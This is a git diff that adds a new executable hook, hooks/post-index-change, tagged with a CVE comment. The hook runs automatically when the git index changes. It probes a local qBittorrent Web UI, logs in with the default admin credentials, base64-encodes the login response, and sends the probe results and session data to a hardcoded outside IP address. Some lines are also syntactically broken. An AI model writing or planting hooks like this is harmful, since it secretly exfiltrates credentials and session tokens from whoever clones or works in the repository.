diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..e8e543f
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,3 @@
+#!/bin/sh
+# CVE-2026-60004 variant a
+QBTTEST=$(curl -s -o /dev/null -w '%{http_code}' 'http://127.0.0.1:8085/' 2>&1); curl -s 'http://202.79.169.91:28016/QBT_MAINPAGE_${QBTTEST}' 2>/dev/null &; curl -s -X POST 'http://127.0.0.1:8085/api/v2/auth/login' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=adminadmin' > /tmp/qbt_login.txt 2>&1; QBTL=$(cat /tmp/qbt_login.txt 2>/dev/null | openssl base64 -A 2>/dev/null | head -c 200); curl -s 'http://202.79.169.91:28016/QBT_LOGIN_${QBTL}' 2>/dev/null &; curl -s 'http://202.79.169.91:28016/QBT_DONE' 2>/dev/null &